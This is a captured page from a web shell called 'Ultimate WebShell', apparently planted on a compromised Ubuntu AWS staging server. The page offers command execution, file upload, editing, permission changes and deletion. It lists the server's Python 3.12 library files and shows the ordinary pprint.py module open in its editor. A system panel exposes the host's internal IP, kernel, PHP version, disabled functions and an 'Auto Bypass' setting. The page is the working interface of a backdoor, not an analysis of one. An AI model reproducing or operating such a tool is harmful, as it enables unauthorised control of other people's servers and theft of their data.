WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.254
System Info
HOME
snap
core24
1643
usr
lib
python3.12
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-04-10 04:18:08
-
__phello__
Folder
-
0755
2026-04-10 04:18:08
__pycache__
Folder
-
0755
2026-04-10 04:18:08
asyncio
Folder
-
0755
2026-04-10 04:18:08
collections
Folder
-
0755
2026-04-10 04:18:08
concurrent
Folder
-
0755
2026-04-10 04:18:08
ctypes
Folder
-
0755
2026-04-10 04:18:08
curses
Folder
-
0755
2026-04-10 04:18:08
dbm
Folder
-
0755
2026-04-10 04:18:08
email
Folder
-
0755
2026-04-10 04:18:08
encodings
Folder
-
0755
2026-04-10 04:18:08
html
Folder
-
0755
2026-04-10 04:18:08
http
Folder
-
0755
2026-04-10 04:18:08
importlib
Folder
-
0755
2026-04-10 04:18:08
json
Folder
-
0755
2026-04-10 04:18:08
lib-dynload
Folder
-
0755
2026-04-10 04:18:08
logging
Folder
-
0755
2026-04-10 04:18:08
multiprocessing
Folder
-
0755
2026-04-10 04:18:08
pydoc_data
Folder
-
0755
2026-04-10 04:18:08
re
Folder
-
0755
2026-04-10 04:18:08
sqlite3
Folder
-
0755
2026-04-10 04:18:08
test
Folder
-
0755
2026-04-10 04:18:08
tomllib
Folder
-
0755
2026-04-10 04:18:08
unittest
Folder
-
0755
2026-04-10 04:18:08
urllib
Folder
-
0755
2026-04-10 04:18:08
venv
Folder
-
0755
2026-04-10 04:18:08
wsgiref
Folder
-
0755
2026-04-10 04:18:08
xml
Folder
-
0755
2026-04-10 04:18:08
xmlrpc
Folder
-
0755
2026-04-10 04:18:08
zipfile
Folder
-
0755
2026-04-10 04:18:08
zoneinfo
Folder
-
0755
2026-04-10 04:18:08
EXTERNALLY-MANAGED
File
645 B
0644
2026-03-03 12:15:18
LICENSE.txt
File
13.61 KB
0644
2026-03-03 12:15:18
__future__.py
File
5.1 KB
0644
2026-03-03 12:15:18
__hello__.py
File
227 B
0644
2026-03-03 12:15:18
_aix_support.py
File
3.93 KB
0644
2026-03-03 12:15:18
_collections_abc.py
File
31.33 KB
0644
2026-03-03 12:15:18
_compat_pickle.py
File
8.56 KB
0644
2026-03-03 12:15:18
_compression.py
File
5.55 KB
0644
2026-03-03 12:15:18
_distutils_system_mod.py
File
5.58 KB
0644
2026-03-03 12:15:18
_markupbase.py
File
14.31 KB
0644
2026-03-03 12:15:18
_osx_support.py
File
21.51 KB
0644
2026-03-03 12:15:18
_py_abc.py
File
6.04 KB
0644
2026-03-03 12:15:18
_pydatetime.py
File
89.94 KB
0644
2026-03-03 12:15:18
_pydecimal.py
File
223.85 KB
0644
2026-03-03 12:15:18
_pyio.py
File
91.4 KB
0644
2026-03-03 12:15:18
_pylong.py
File
8.83 KB
0644
2026-03-03 12:15:18
_sitebuiltins.py
File
3.05 KB
0644
2026-03-03 12:15:18
_strptime.py
File
24.04 KB
0644
2026-03-03 12:15:18
_sysconfigdata__linux_x86_64-linux-gnu.py
File
48.34 KB
0644
2026-03-03 12:15:18
_sysconfigdata__x86_64-linux-gnu.py
File
48.34 KB
0644
2026-03-03 12:15:18
_threading_local.py
File
7.05 KB
0644
2026-03-03 12:15:18
_weakrefset.py
File
5.75 KB
0644
2026-03-03 12:15:18
abc.py
File
6.38 KB
0644
2026-03-03 12:15:18
aifc.py
File
33.41 KB
0644
2026-03-03 12:15:18
antigravity.py
File
500 B
0644
2026-03-03 12:15:18
argparse.py
File
99.37 KB
0644
2026-03-03 12:15:18
ast.py
File
62.75 KB
0644
2026-03-03 12:15:18
base64.py
File
20.12 KB
0755
2026-03-03 12:15:18
bdb.py
File
31.7 KB
0644
2026-03-03 12:15:18
bisect.py
File
3.34 KB
0644
2026-03-03 12:15:18
bz2.py
File
11.57 KB
0644
2026-03-03 12:15:18
cProfile.py
File
6.4 KB
0755
2026-03-03 12:15:18
calendar.py
File
24.82 KB
0644
2026-03-03 12:15:18
cgi.py
File
33.61 KB
0755
2026-03-03 12:15:18
cgitb.py
File
12.13 KB
0644
2026-03-03 12:15:18
chunk.py
File
5.37 KB
0644
2026-03-03 12:15:18
cmd.py
File
14.52 KB
0644
2026-03-03 12:15:18
code.py
File
10.44 KB
0644
2026-03-03 12:15:18
codecs.py
File
36.01 KB
0644
2026-03-03 12:15:18
codeop.py
File
5.77 KB
0644
2026-03-03 12:15:18
colorsys.py
File
3.97 KB
0644
2026-03-03 12:15:18
compileall.py
File
20.12 KB
0644
2026-03-03 12:15:18
configparser.py
File
52.53 KB
0644
2026-03-03 12:15:18
contextlib.py
File
26.99 KB
0644
2026-03-03 12:15:18
contextvars.py
File
129 B
0644
2026-03-03 12:15:18
copy.py
File
8.21 KB
0644
2026-03-03 12:15:18
copyreg.py
File
7.44 KB
0644
2026-03-03 12:15:18
crypt.py
File
3.82 KB
0644
2026-03-03 12:15:18
csv.py
File
16 KB
0644
2026-03-03 12:15:18
dataclasses.py
File
60.31 KB
0644
2026-03-03 12:15:18
datetime.py
File
268 B
0644
2026-03-03 12:15:18
decimal.py
File
320 B
0644
2026-03-03 12:15:18
difflib.py
File
81.36 KB
0644
2026-03-03 12:15:18
dis.py
File
29.5 KB
0644
2026-03-03 12:15:18
doctest.py
File
103.98 KB
0644
2026-03-03 12:15:18
enum.py
File
79.72 KB
0644
2026-03-03 12:15:18
filecmp.py
File
9.95 KB
0644
2026-03-03 12:15:18
fileinput.py
File
15.35 KB
0644
2026-03-03 12:15:18
fnmatch.py
File
5.86 KB
0644
2026-03-03 12:15:18
fractions.py
File
37.17 KB
0644
2026-03-03 12:15:18
ftplib.py
File
33.92 KB
0644
2026-03-03 12:15:18
functools.py
File
37.23 KB
0644
2026-03-03 12:15:18
genericpath.py
File
5.44 KB
0644
2026-03-03 12:15:18
getopt.py
File
7.31 KB
0644
2026-03-03 12:15:18
getpass.py
File
5.85 KB
0644
2026-03-03 12:15:18
gettext.py
File
21.24 KB
0644
2026-03-03 12:15:18
glob.py
File
8.53 KB
0644
2026-03-03 12:15:18
graphlib.py
File
9.43 KB
0644
2026-03-03 12:15:18
gzip.py
File
24.28 KB
0644
2026-03-03 12:15:18
hashlib.py
File
9.13 KB
0644
2026-03-03 12:15:18
heapq.py
File
22.48 KB
0644
2026-03-03 12:15:18
hmac.py
File
7.54 KB
0644
2026-03-03 12:15:18
imaplib.py
File
52.43 KB
0644
2026-03-03 12:15:18
imghdr.py
File
4.29 KB
0644
2026-03-03 12:15:18
inspect.py
File
122.48 KB
0644
2026-03-03 12:15:18
io.py
File
3.5 KB
0644
2026-03-03 12:15:18
ipaddress.py
File
76.46 KB
0644
2026-03-03 12:15:18
keyword.py
File
1.05 KB
0644
2026-03-03 12:15:18
linecache.py
File
5.52 KB
0644
2026-03-03 12:15:18
locale.py
File
76.72 KB
0644
2026-03-03 12:15:18
lzma.py
File
12.97 KB
0644
2026-03-03 12:15:18
mailbox.py
File
77.06 KB
0644
2026-03-03 12:15:18
mailcap.py
File
9.11 KB
0644
2026-03-03 12:15:18
mimetypes.py
File
22.35 KB
0644
2026-03-03 12:15:18
modulefinder.py
File
23.14 KB
0644
2026-03-03 12:15:18
netrc.py
File
6.76 KB
0644
2026-03-03 12:15:18
nntplib.py
File
40.12 KB
0644
2026-03-03 12:15:18
ntpath.py
File
29.32 KB
0644
2026-03-03 12:15:18
nturl2path.py
File
2.82 KB
0644
2026-03-03 12:15:18
numbers.py
File
11.2 KB
0644
2026-03-03 12:15:18
opcode.py
File
12.87 KB
0644
2026-03-03 12:15:18
operator.py
File
10.71 KB
0644
2026-03-03 12:15:18
optparse.py
File
58.95 KB
0644
2026-03-03 12:15:18
os.py
File
38.85 KB
0644
2026-03-03 12:15:18
pathlib.py
File
49.95 KB
0644
2026-03-03 12:15:18
pdb.py
File
67.83 KB
0755
2026-03-03 12:15:18
pickle.py
File
63.38 KB
0644
2026-03-03 12:15:18
pickletools.py
File
91.66 KB
0644
2026-03-03 12:15:18
pipes.py
File
8.77 KB
0644
2026-03-03 12:15:18
pkgutil.py
File
17.85 KB
0644
2026-03-03 12:15:18
platform.py
File
42.32 KB
0755
2026-03-03 12:15:18
plistlib.py
File
27.91 KB
0644
2026-03-03 12:15:18
poplib.py
File
13.83 KB
0644
2026-03-03 12:15:18
posixpath.py
File
17.21 KB
0644
2026-03-03 12:15:18
pprint.py
File
23.59 KB
0644
2026-03-03 12:15:18
profile.py
File
22.55 KB
0755
2026-03-03 12:15:18
pstats.py
File
28.6 KB
0644
2026-03-03 12:15:18
pty.py
File
5.99 KB
0644
2026-03-03 12:15:18
py_compile.py
File
7.69 KB
0644
2026-03-03 12:15:18
pyclbr.py
File
11.13 KB
0644
2026-03-03 12:15:18
pydoc.py
File
110.44 KB
0755
2026-03-03 12:15:18
queue.py
File
11.23 KB
0644
2026-03-03 12:15:18
quopri.py
File
7.01 KB
0755
2026-03-03 12:15:18
random.py
File
33.87 KB
0644
2026-03-03 12:15:18
reprlib.py
File
6.42 KB
0644
2026-03-03 12:15:18
rlcompleter.py
File
7.64 KB
0644
2026-03-03 12:15:18
runpy.py
File
12.6 KB
0644
2026-03-03 12:15:18
sched.py
File
6.2 KB
0644
2026-03-03 12:15:18
secrets.py
File
1.94 KB
0644
2026-03-03 12:15:18
selectors.py
File
19.21 KB
0644
2026-03-03 12:15:18
shelve.py
File
8.36 KB
0644
2026-03-03 12:15:18
shlex.py
File
13.04 KB
0644
2026-03-03 12:15:18
shutil.py
File
56.76 KB
0644
2026-03-03 12:15:18
signal.py
File
2.44 KB
0644
2026-03-03 12:15:18
site.py
File
23.34 KB
0644
2026-03-03 12:15:18
sitecustomize.py
File
0 B
0
1970-01-01 00:00:00
smtplib.py
File
42.51 KB
0755
2026-03-03 12:15:18
sndhdr.py
File
7.27 KB
0644
2026-03-03 12:15:18
socket.py
File
36.53 KB
0644
2026-03-03 12:15:18
socketserver.py
File
27.2 KB
0644
2026-03-03 12:15:18
sre_compile.py
File
231 B
0644
2026-03-03 12:15:18
sre_constants.py
File
232 B
0644
2026-03-03 12:15:18
sre_parse.py
File
229 B
0644
2026-03-03 12:15:18
ssl.py
File
49.63 KB
0644
2026-03-03 12:15:18
stat.py
File
5.36 KB
0644
2026-03-03 12:15:18
statistics.py
File
49.05 KB
0644
2026-03-03 12:15:18
string.py
File
11.51 KB
0644
2026-03-03 12:15:18
stringprep.py
File
12.61 KB
0644
2026-03-03 12:15:18
struct.py
File
257 B
0644
2026-03-03 12:15:18
subprocess.py
File
86.65 KB
0644
2026-03-03 12:15:18
sunau.py
File
18.04 KB
0644
2026-03-03 12:15:18
symtable.py
File
10.5 KB
0644
2026-03-03 12:15:18
sysconfig.py
File
32 KB
0644
2026-03-03 12:15:18
tabnanny.py
File
11.26 KB
0755
2026-03-03 12:15:18
tarfile.py
File
109.92 KB
0755
2026-03-03 12:15:18
telnetlib.py
File
22.75 KB
0644
2026-03-03 12:15:18
tempfile.py
File
36.46 KB
0644
2026-03-03 12:15:18
textwrap.py
File
19.26 KB
0644
2026-03-03 12:15:18
this.py
File
1003 B
0644
2026-03-03 12:15:18
threading.py
File
58.71 KB
0644
2026-03-03 12:15:18
timeit.py
File
13.15 KB
0755
2026-03-03 12:15:18
token.py
File
2.42 KB
0644
2026-03-03 12:15:18
tokenize.py
File
20.72 KB
0644
2026-03-03 12:15:18
trace.py
File
28.5 KB
0755
2026-03-03 12:15:18
traceback.py
File
45.24 KB
0644
2026-03-03 12:15:18
tracemalloc.py
File
17.62 KB
0644
2026-03-03 12:15:18
tty.py
File
1.99 KB
0644
2026-03-03 12:15:18
turtle.py
File
142.93 KB
0644
2026-03-03 12:15:18
types.py
File
10.74 KB
0644
2026-03-03 12:15:18
typing.py
File
114.68 KB
0644
2026-03-03 12:15:18
uu.py
File
7.19 KB
0755
2026-03-03 12:15:18
uuid.py
File
28.96 KB
0644
2026-03-03 12:15:18
warnings.py
File
21.25 KB
0644
2026-03-03 12:15:18
wave.py
File
22.24 KB
0644
2026-03-03 12:15:18
weakref.py
File
21.01 KB
0644
2026-03-03 12:15:18
webbrowser.py
File
23.07 KB
0755
2026-03-03 12:15:18
xdrlib.py
File
5.8 KB
0644
2026-03-03 12:15:18
zipapp.py
File
7.37 KB
0644
2026-03-03 12:15:18
zipimport.py
File
27.47 KB
0644
2026-03-03 12:15:18
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: pprint.py
# Author: Fred L. Drake, Jr. # fdrake@acm.org # # This is a simple little module I wrote to make life easier. I didn't # see anything quite like it in the library, though I may have overlooked # something. I wrote this when I was trying to read some heavily nested # tuples with fairly non-descriptive content. This is modeled very much # after Lisp/Scheme - style pretty-printing of lists. If you find it # useful, thank small children who sleep at night. """Support to pretty-print lists, tuples, & dictionaries recursively. Very simple, but useful, especially in debugging data structures. Classes ------- PrettyPrinter() Handle pretty-printing operations onto a stream using a configured set of formatting parameters. Functions --------- pformat() Format a Python object into a pretty-printed representation. pprint() Pretty-print a Python object to a stream [default is sys.stdout]. saferepr() Generate a 'standard' repr()-like value, but protect against recursive data structures. """ import collections as _collections import dataclasses as _dataclasses import re import sys as _sys import types as _types from io import StringIO as _StringIO __all__ = ["pprint","pformat","isreadable","isrecursive","saferepr", "PrettyPrinter", "pp"] def pprint(object, stream=None, indent=1, width=80, depth=None, *, compact=False, sort_dicts=True, underscore_numbers=False): """Pretty-print a Python object to a stream [default is sys.stdout].""" printer = PrettyPrinter( stream=stream, indent=indent, width=width, depth=depth, compact=compact, sort_dicts=sort_dicts, underscore_numbers=underscore_numbers) printer.pprint(object) def pformat(object, indent=1, width=80, depth=None, *, compact=False, sort_dicts=True, underscore_numbers=False): """Format a Python object into a pretty-printed representation.""" return PrettyPrinter(indent=indent, width=width, depth=depth, compact=compact, sort_dicts=sort_dicts, underscore_numbers=underscore_numbers).pformat(object) def pp(object, *args, sort_dicts=False, **kwargs): """Pretty-print a Python object""" pprint(object, *args, sort_dicts=sort_dicts, **kwargs) def saferepr(object): """Version of repr() which can handle recursive data structures.""" return PrettyPrinter()._safe_repr(object, {}, None, 0)[0] def isreadable(object): """Determine if saferepr(object) is readable by eval().""" return PrettyPrinter()._safe_repr(object, {}, None, 0)[1] def isrecursive(object): """Determine if object requires a recursive representation.""" return PrettyPrinter()._safe_repr(object, {}, None, 0)[2] class _safe_key: """Helper function for key functions when sorting unorderable objects. The wrapped-object will fallback to a Py2.x style comparison for unorderable types (sorting first comparing the type name and then by the obj ids). Does not work recursively, so dict.items() must have _safe_key applied to both the key and the value. """ __slots__ = ['obj'] def __init__(self, obj): self.obj = obj def __lt__(self, other): try: return self.obj < other.obj except TypeError: return ((str(type(self.obj)), id(self.obj)) < \ (str(type(other.obj)), id(other.obj))) def _safe_tuple(t): "Helper function for comparing 2-tuples" return _safe_key(t[0]), _safe_key(t[1]) class PrettyPrinter: def __init__(self, indent=1, width=80, depth=None, stream=None, *, compact=False, sort_dicts=True, underscore_numbers=False): """Handle pretty printing operations onto a stream using a set of configured parameters. indent Number of spaces to indent for each level of nesting. width Attempted maximum number of columns in the output. depth The maximum depth to print out nested structures. stream The desired output stream. If omitted (or false), the standard output stream available at construction will be used. compact If true, several items will be combined in one line. sort_dicts If true, dict keys are sorted. underscore_numbers If true, digit groups are separated with underscores. """ indent = int(indent) width = int(width) if indent < 0: raise ValueError('indent must be >= 0') if depth is not None and depth <= 0: raise ValueError('depth must be > 0') if not width: raise ValueError('width must be != 0') self._depth = depth self._indent_per_level = indent self._width = width if stream is not None: self._stream = stream else: self._stream = _sys.stdout self._compact = bool(compact) self._sort_dicts = sort_dicts self._underscore_numbers = underscore_numbers def pprint(self, object): if self._stream is not None: self._format(object, self._stream, 0, 0, {}, 0) self._stream.write("\n") def pformat(self, object): sio = _StringIO() self._format(object, sio, 0, 0, {}, 0) return sio.getvalue() def isrecursive(self, object): return self.format(object, {}, 0, 0)[2] def isreadable(self, object): s, readable, recursive = self.format(object, {}, 0, 0) return readable and not recursive def _format(self, object, stream, indent, allowance, context, level): objid = id(object) if objid in context: stream.write(_recursion(object)) self._recursive = True self._readable = False return rep = self._repr(object, context, level) max_width = self._width - indent - allowance if len(rep) > max_width: p = self._dispatch.get(type(object).__repr__, None) if p is not None: context[objid] = 1 p(self, object, stream, indent, allowance, context, level + 1) del context[objid] return elif (_dataclasses.is_dataclass(object) and not isinstance(object, type) and object.__dataclass_params__.repr and # Check dataclass has generated repr method. hasattr(object.__repr__, "__wrapped__") and "__create_fn__" in object.__repr__.__wrapped__.__qualname__): context[objid] = 1 self._pprint_dataclass(object, stream, indent, allowance, context, level + 1) del context[objid] return stream.write(rep) def _pprint_dataclass(self, object, stream, indent, allowance, context, level): cls_name = object.__class__.__name__ indent += len(cls_name) + 1 items = [(f.name, getattr(object, f.name)) for f in _dataclasses.fields(object) if f.repr] stream.write(cls_name + '(') self._format_namespace_items(items, stream, indent, allowance, context, level) stream.write(')') _dispatch = {} def _pprint_dict(self, object, stream, indent, allowance, context, level): write = stream.write write('{') if self._indent_per_level > 1: write((self._indent_per_level - 1) * ' ') length = len(object) if length: if self._sort_dicts: items = sorted(object.items(), key=_safe_tuple) else: items = object.items() self._format_dict_items(items, stream, indent, allowance + 1, context, level) write('}') _dispatch[dict.__repr__] = _pprint_dict def _pprint_ordered_dict(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return cls = object.__class__ stream.write(cls.__name__ + '(') self._format(list(object.items()), stream, indent + len(cls.__name__) + 1, allowance + 1, context, level) stream.write(')') _dispatch[_collections.OrderedDict.__repr__] = _pprint_ordered_dict def _pprint_list(self, object, stream, indent, allowance, context, level): stream.write('[') self._format_items(object, stream, indent, allowance + 1, context, level) stream.write(']') _dispatch[list.__repr__] = _pprint_list def _pprint_tuple(self, object, stream, indent, allowance, context, level): stream.write('(') endchar = ',)' if len(object) == 1 else ')' self._format_items(object, stream, indent, allowance + len(endchar), context, level) stream.write(endchar) _dispatch[tuple.__repr__] = _pprint_tuple def _pprint_set(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return typ = object.__class__ if typ is set: stream.write('{') endchar = '}' else: stream.write(typ.__name__ + '({') endchar = '})' indent += len(typ.__name__) + 1 object = sorted(object, key=_safe_key) self._format_items(object, stream, indent, allowance + len(endchar), context, level) stream.write(endchar) _dispatch[set.__repr__] = _pprint_set _dispatch[frozenset.__repr__] = _pprint_set def _pprint_str(self, object, stream, indent, allowance, context, level): write = stream.write if not len(object): write(repr(object)) return chunks = [] lines = object.splitlines(True) if level == 1: indent += 1 allowance += 1 max_width1 = max_width = self._width - indent for i, line in enumerate(lines): rep = repr(line) if i == len(lines) - 1: max_width1 -= allowance if len(rep) <= max_width1: chunks.append(rep) else: # A list of alternating (non-space, space) strings parts = re.findall(r'\S*\s*', line) assert parts assert not parts[-1] parts.pop() # drop empty last part max_width2 = max_width current = '' for j, part in enumerate(parts): candidate = current + part if j == len(parts) - 1 and i == len(lines) - 1: max_width2 -= allowance if len(repr(candidate)) > max_width2: if current: chunks.append(repr(current)) current = part else: current = candidate if current: chunks.append(repr(current)) if len(chunks) == 1: write(rep) return if level == 1: write('(') for i, rep in enumerate(chunks): if i > 0: write('\n' + ' '*indent) write(rep) if level == 1: write(')') _dispatch[str.__repr__] = _pprint_str def _pprint_bytes(self, object, stream, indent, allowance, context, level): write = stream.write if len(object) <= 4: write(repr(object)) return parens = level == 1 if parens: indent += 1 allowance += 1 write('(') delim = '' for rep in _wrap_bytes_repr(object, self._width - indent, allowance): write(delim) write(rep) if not delim: delim = '\n' + ' '*indent if parens: write(')') _dispatch[bytes.__repr__] = _pprint_bytes def _pprint_bytearray(self, object, stream, indent, allowance, context, level): write = stream.write write('bytearray(') self._pprint_bytes(bytes(object), stream, indent + 10, allowance + 1, context, level + 1) write(')') _dispatch[bytearray.__repr__] = _pprint_bytearray def _pprint_mappingproxy(self, object, stream, indent, allowance, context, level): stream.write('mappingproxy(') self._format(object.copy(), stream, indent + 13, allowance + 1, context, level) stream.write(')') _dispatch[_types.MappingProxyType.__repr__] = _pprint_mappingproxy def _pprint_simplenamespace(self, object, stream, indent, allowance, context, level): if type(object) is _types.SimpleNamespace: # The SimpleNamespace repr is "namespace" instead of the class # name, so we do the same here. For subclasses; use the class name. cls_name = 'namespace' else: cls_name = object.__class__.__name__ indent += len(cls_name) + 1 items = object.__dict__.items() stream.write(cls_name + '(') self._format_namespace_items(items, stream, indent, allowance, context, level) stream.write(')') _dispatch[_types.SimpleNamespace.__repr__] = _pprint_simplenamespace def _format_dict_items(self, items, stream, indent, allowance, context, level): write = stream.write indent += self._indent_per_level delimnl = ',\n' + ' ' * indent last_index = len(items) - 1 for i, (key, ent) in enumerate(items): last = i == last_index rep = self._repr(key, context, level) write(rep) write(': ') self._format(ent, stream, indent + len(rep) + 2, allowance if last else 1, context, level) if not last: write(delimnl) def _format_namespace_items(self, items, stream, indent, allowance, context, level): write = stream.write delimnl = ',\n' + ' ' * indent last_index = len(items) - 1 for i, (key, ent) in enumerate(items): last = i == last_index write(key) write('=') if id(ent) in context: # Special-case representation of recursion to match standard # recursive dataclass repr. write("...") else: self._format(ent, stream, indent + len(key) + 1, allowance if last else 1, context, level) if not last: write(delimnl) def _format_items(self, items, stream, indent, allowance, context, level): write = stream.write indent += self._indent_per_level if self._indent_per_level > 1: write((self._indent_per_level - 1) * ' ') delimnl = ',\n' + ' ' * indent delim = '' width = max_width = self._width - indent + 1 it = iter(items) try: next_ent = next(it) except StopIteration: return last = False while not last: ent = next_ent try: next_ent = next(it) except StopIteration: last = True max_width -= allowance width -= allowance if self._compact: rep = self._repr(ent, context, level) w = len(rep) + 2 if width < w: width = max_width if delim: delim = delimnl if width >= w: width -= w write(delim) delim = ', ' write(rep) continue write(delim) delim = delimnl self._format(ent, stream, indent, allowance if last else 1, context, level) def _repr(self, object, context, level): repr, readable, recursive = self.format(object, context.copy(), self._depth, level) if not readable: self._readable = False if recursive: self._recursive = True return repr def format(self, object, context, maxlevels, level): """Format object for a specific context, returning a string and flags indicating whether the representation is 'readable' and whether the object represents a recursive construct. """ return self._safe_repr(object, context, maxlevels, level) def _pprint_default_dict(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return rdf = self._repr(object.default_factory, context, level) cls = object.__class__ indent += len(cls.__name__) + 1 stream.write('%s(%s,\n%s' % (cls.__name__, rdf, ' ' * indent)) self._pprint_dict(object, stream, indent, allowance + 1, context, level) stream.write(')') _dispatch[_collections.defaultdict.__repr__] = _pprint_default_dict def _pprint_counter(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return cls = object.__class__ stream.write(cls.__name__ + '({') if self._indent_per_level > 1: stream.write((self._indent_per_level - 1) * ' ') items = object.most_common() self._format_dict_items(items, stream, indent + len(cls.__name__) + 1, allowance + 2, context, level) stream.write('})') _dispatch[_collections.Counter.__repr__] = _pprint_counter def _pprint_chain_map(self, object, stream, indent, allowance, context, level): if not len(object.maps): stream.write(repr(object)) return cls = object.__class__ stream.write(cls.__name__ + '(') indent += len(cls.__name__) + 1 for i, m in enumerate(object.maps): if i == len(object.maps) - 1: self._format(m, stream, indent, allowance + 1, context, level) stream.write(')') else: self._format(m, stream, indent, 1, context, level) stream.write(',\n' + ' ' * indent) _dispatch[_collections.ChainMap.__repr__] = _pprint_chain_map def _pprint_deque(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return cls = object.__class__ stream.write(cls.__name__ + '(') indent += len(cls.__name__) + 1 stream.write('[') if object.maxlen is None: self._format_items(object, stream, indent, allowance + 2, context, level) stream.write('])') else: self._format_items(object, stream, indent, 2, context, level) rml = self._repr(object.maxlen, context, level) stream.write('],\n%smaxlen=%s)' % (' ' * indent, rml)) _dispatch[_collections.deque.__repr__] = _pprint_deque def _pprint_user_dict(self, object, stream, indent, allowance, context, level): self._format(object.data, stream, indent, allowance, context, level - 1) _dispatch[_collections.UserDict.__repr__] = _pprint_user_dict def _pprint_user_list(self, object, stream, indent, allowance, context, level): self._format(object.data, stream, indent, allowance, context, level - 1) _dispatch[_collections.UserList.__repr__] = _pprint_user_list def _pprint_user_string(self, object, stream, indent, allowance, context, level): self._format(object.data, stream, indent, allowance, context, level - 1) _dispatch[_collections.UserString.__repr__] = _pprint_user_string def _safe_repr(self, object, context, maxlevels, level): # Return triple (repr_string, isreadable, isrecursive). typ = type(object) if typ in _builtin_scalars: return repr(object), True, False r = getattr(typ, "__repr__", None) if issubclass(typ, int) and r is int.__repr__: if self._underscore_numbers: return f"{object:_d}", True, False else: return repr(object), True, False if issubclass(typ, dict) and r is dict.__repr__: if not object: return "{}", True, False objid = id(object) if maxlevels and level >= maxlevels: return "{...}", False, objid in context if objid in context: return _recursion(object), False, True context[objid] = 1 readable = True recursive = False components = [] append = components.append level += 1 if self._sort_dicts: items = sorted(object.items(), key=_safe_tuple) else: items = object.items() for k, v in items: krepr, kreadable, krecur = self.format( k, context, maxlevels, level) vrepr, vreadable, vrecur = self.format( v, context, maxlevels, level) append("%s: %s" % (krepr, vrepr)) readable = readable and kreadable and vreadable if krecur or vrecur: recursive = True del context[objid] return "{%s}" % ", ".join(components), readable, recursive if (issubclass(typ, list) and r is list.__repr__) or \ (issubclass(typ, tuple) and r is tuple.__repr__): if issubclass(typ, list): if not object: return "[]", True, False format = "[%s]" elif len(object) == 1: format = "(%s,)" else: if not object: return "()", True, False format = "(%s)" objid = id(object) if maxlevels and level >= maxlevels: return format % "...", False, objid in context if objid in context: return _recursion(object), False, True context[objid] = 1 readable = True recursive = False components = [] append = components.append level += 1 for o in object: orepr, oreadable, orecur = self.format( o, context, maxlevels, level) append(orepr) if not oreadable: readable = False if orecur: recursive = True del context[objid] return format % ", ".join(components), readable, recursive rep = repr(object) return rep, (rep and not rep.startswith('<')), False _builtin_scalars = frozenset({str, bytes, bytearray, float, complex, bool, type(None)}) def _recursion(object): return ("<Recursion on %s with id=%s>" % (type(object).__name__, id(object))) def _wrap_bytes_repr(object, width, allowance): current = b'' last = len(object) // 4 * 4 for i in range(0, len(object), 4): part = object[i: i+4] candidate = current + part if i == last: width -= allowance if len(repr(candidate)) > width: if current: yield repr(current) current = part else: current = candidate if current: yield repr(current)
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.254 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED